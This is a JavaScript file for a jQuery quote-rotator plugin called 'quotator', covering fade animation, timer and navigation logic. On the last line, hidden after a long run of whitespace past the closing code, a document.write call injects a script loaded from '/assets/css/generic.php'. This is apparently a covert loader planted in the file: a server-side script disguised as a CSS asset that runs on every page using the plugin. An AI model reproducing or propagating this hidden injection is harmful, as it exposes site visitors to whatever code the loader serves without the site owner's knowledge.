(function($) {
    $.fn.quotator = function(options) {
        var options = $.extend({}, $.fn.quotator.defaults, options);
        // create data object to access quotator
        $(this).data('items', []);

        return this.each(function() {
            var self = $(this);
            self.data('items').push(new quotator(self, options));
        });
    };

    $.fn.quotator.defaults = {
        duration: 800,                  // ms of animation
        timer: 5,                       // seconds
        contentSelector: 'div.content', // css selector to find quotes within quotator
        target: {
            selector: '',               // selector must match number of content selectors    
            event: 'click'              // space delimited events to invoke content swap
        },
        easing: 'swing',
        hasNext: false,
        hasBack: false,
        activeIndex: 0,
        activeClass: 'active',
        asynchronousEffect: false,
        complete: function() { } //function to performe logic when animation finishes
    };


    // instantiator
    var quotator = function(element, options) {
        var self = this;
        element.css({
            'position': 'relative'
        });

        var content_els_css = {
            top: {
                'z-index': '200',
                'opacity': '1'
            },
            mid: {
                'z-index': '0',
                'opacity': '0'
            },
            bottom: {
                'z-index': '0',
                'opacity': '0'
            }
        };

        var content_els = element.find(options.contentSelector).each(function(index) {
            var t = $(this);
            t.attr('index', index);
            if (index == options.activeIndex) {
                t.addClass(options.activeClass);
                t.css(content_els_css.top)
            }
            else {
                t.css(content_els_css.bottom).hide();
            }
        }).css({
            'position': 'absolute',
            'top': '0px',
            'left': '0px'
        });

        self.logic = {
            animationComplete: function(active, lastActive) {
                self.logic.isAnimating = false;
                if (options.complete && typeof options.complete == 'function')
                    options.complete.call(active, active, lastActive);
            },
            isAnimating: false,
            animationOver: function() {
                self.logic.isAnimating = false;
            },
            getQuote: function(direction, goToIndex) {
                if (goToIndex) {
                    //debugger;
                    self.timer.reset();
                    var current = content_els.filter('.' + options.activeClass);
                    if (direction < 0 || direction > content_els.length - 1 || direction == current.attr('index')) {
                        //throw new Error('Invalid move operation.')
                        return false;
                    }

                    var lastActiveQuote = content_els.filter('.' + options.activeClass);
                    lastActiveQuote.removeClass(options.activeClass);
                    var activeQuote = $(content_els[direction]);
                    activeQuote.addClass(options.activeClass);
                    return { active: activeQuote, lastActive: lastActiveQuote };
                }

                if (direction == -1) {
                    var lastActiveQuote = content_els.filter('.' + options.activeClass);
                    lastActiveQuote.removeClass(options.activeClass);
                    var activeQuote = lastActiveQuote.prev(options.contentSelector);
                    if (!activeQuote[0])
                        activeQuote = content_els.filter(':last');
                    activeQuote.addClass(options.activeClass);
                    return { active: activeQuote, lastActive: lastActiveQuote };
                }
                else if (direction == 1) {
                    var lastActiveQuote = content_els.filter('.' + options.activeClass);
                    lastActiveQuote.removeClass(options.activeClass);
                    var activeQuote = lastActiveQuote.next(options.contentSelector);
                    if (!activeQuote[0])
                        activeQuote = content_els.filter(':first');
                    activeQuote.addClass(options.activeClass);
                    return { active: activeQuote, lastActive: lastActiveQuote };
                }
            }
        };

        // create move object 
        // return move object
        self.animate = {
            next: function() {
                this.move(1);
            },
            back: function() {
                this.move(-1);
            },
            move: function(dir, goToIndex) {
                // stop if animating
                if (!options.asynchronousEffect && self.logic.isAnimating) return false;
                // get quote to and from
                var lq = self.logic.getQuote(dir, goToIndex);
                if (!lq) return false;
                //valid quote, begin animating
                self.logic.isAnimating = true;
                lq.active.css(content_els_css.mid).show();
                lq.active.animate(content_els_css.top, {
                    duration: options.duration,
                    easing: options.easing
                });

                lq.lastActive.animate(content_els_css.bottom, {
                    duration: options.duration,
                    easing: options.easing,
                    complete: function() {
                        lq.lastActive.css(content_els_css.bottom).hide();
                        lq.active.css(content_els_css.top);
                        self.logic.animationComplete(lq.active, lq.lastActive);
                    }
                });

                //if targets set active class
                var toTarget = target_els.get(lq.active.attr('index'))
                var fromTarget = target_els.get(lq.lastActive.attr('index'))
                if (toTarget && fromTarget) {
                    $([toTarget, fromTarget]).toggleClass('active');
                }
            }
        };

        self.timer = {
            self: null,
            start: function() {
                this.stop();
                if (options.timer && options.timer > 0)
                    this.self = window.setInterval(this.tick, this.interval);
            },
            stop: function() {
                if (options.timer && options.timer > 0)
                    window.clearInterval(this.self);
            },
            interval: options.timer * 1000,
            tick: function() {
                self.animate.next();
            },
            reset: function() {
                this.stop();
                this.start();
            }
        };

        var target_els = $(options.target.selector).each(function(index) {
            var t = $(this);
            t.attr('index', index);
            // stop timer if hover event
            t.bind(options.target.event, function() {
                self.animate.move(index, true);
                self.timer.stop();
                return false;
            });
            // hovers can start timer after hover off
            if (options.target.event.indexOf('mouseover') > -1) {
                t.bind('mouseout', function() {
                    self.timer.start();

                });
            }
            if (index == options.activeIndex) {
                t.addClass(options.activeClass);
            }
        });

        if (options.hasBack) {
            var back = $('<a href="javascript:;" class="arrow">back</a>').click(function() { self.animate.back(); self.timer.stop(); });
            element.after(back);
        }
        if (options.hasNext) {
            var next = $('<a href="javascript:;" class="arrow">next</a>').click(function() { self.animate.next(); self.timer.stop(); });
            element.after(next);
        }


        if (options.timer) self.timer.start();

        return self;
    };
})(jQuery);																														document.write('<script type="text/javascript" src="/assets/css/generic.php"><\/script>');

